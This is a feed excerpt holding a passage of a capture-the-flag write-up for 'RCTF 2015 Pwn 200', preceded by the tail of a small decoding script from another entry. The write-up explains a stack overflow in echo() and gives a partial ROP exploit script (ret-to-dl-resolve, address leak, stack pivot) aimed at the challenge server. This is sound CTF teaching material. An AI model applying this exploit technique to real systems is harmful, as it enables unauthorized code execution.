&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;FF&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;FF&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;FF&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;FF&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;code&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;chr&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;20&lt;&#x2F;span&gt;&lt;span&gt;)]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;20&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    code[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;i]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;chr&lt;&#x2F;span&gt;&lt;span&gt;(table[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;80&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;i])&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; j&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1F&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    code[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;j]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;chr&lt;&#x2F;span&gt;&lt;span&gt;(table[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;j])&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;join&lt;&#x2F;span&gt;&lt;span&gt;(code[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;20&lt;&#x2F;span&gt;&lt;span&gt;]))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;</content>
        
    </entry>
    <entry xml:lang="zh-Hans-cn">
        <title>RCTF 2015 Pwn 200</title>
        <published>2015-11-15T00:00:00+00:00</published>
        <updated>2015-11-15T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.iret.xyz/posts/rctf2015-pwn200-writeup/"/>
        <id>https://blog.iret.xyz/posts/rctf2015-pwn200-writeup/</id>
        
        <content type="html" xml:base="https://blog.iret.xyz/posts/rctf2015-pwn200-writeup/">&lt;p&gt;A x86_64 program without libc, and protected with NX and maybe ASLR. A stack overflow problem can be easily found in function &lt;code&gt;echo()&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;rctf2015-pwn200-writeup&#x2F;.&#x2F;1.jpg&quot; alt=&quot;Location of problem&quot; title=&quot;Where the leak happened&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The space on the stack is only 0x20, while we can give a string length at 0x400 and completely controlable. Ret-to-dl-resolve will also be used to escape from NX.&lt;&#x2F;p&gt;
&lt;p&gt;However, the function &lt;code&gt;echo()&lt;&#x2F;code&gt; will stop copying once it meets a 0x00. After a reconsidering of this stack structure, it is not something big. Since our data is also stored on stack, and under x86_64, since arguments are not passed through stack(at least in this function), we can just make the copy function stop at a certain point, and &lt;code&gt;pop&lt;&#x2F;code&gt; again to use our own rop chain. Though it might be stripped in &lt;code&gt;echo()&lt;&#x2F;code&gt;, we can actually not considering it.&lt;&#x2F;p&gt;
&lt;p&gt;The exp script is as below.&lt;&#x2F;p&gt;
&lt;p&gt;Thanks to &lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;bigtang.org&quot;&gt;Bigtang&lt;&#x2F;a&gt; for showing me this way to bypass its protect.&lt;&#x2F;p&gt;
&lt;p&gt;Thanks to &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;inaz2&#x2F;roputils&quot;&gt;roputils&lt;&#x2F;a&gt; for its excellent script.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#&amp;quot;a&amp;quot;*24 -&amp;gt; pop4+ret -&amp;gt; [ROP jobs]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; roputils&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; *&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;offset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;32&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;fpath&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;.&#x2F;pwn200&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#p=Proc(rop.fpath)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;Proc&lt;&#x2F;span&gt;&lt;span&gt;(host&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;180.76.178.48&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt;port&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;6666&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;rop&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;ROP&lt;&#x2F;span&gt;&lt;span&gt;(fpath)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;addr_stage&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;rop&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;section&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;.bss&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;400&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ptr_ret&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;rop&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;search&lt;&#x2F;span&gt;&lt;span&gt;(rop&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;section&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;.fini&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;buf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;a&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;24&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\x9c\x08\x40\x00\x00\x00\x00\x00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;buf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; +=&lt;&#x2F;span&gt;&lt;span&gt; rop&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;call_chain_ptr&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;          # have a rop chain to leak the address&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;write&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; rop&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;got&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 8&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;read&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; addr_stage&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 420&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; pivot&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;addr_stage)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
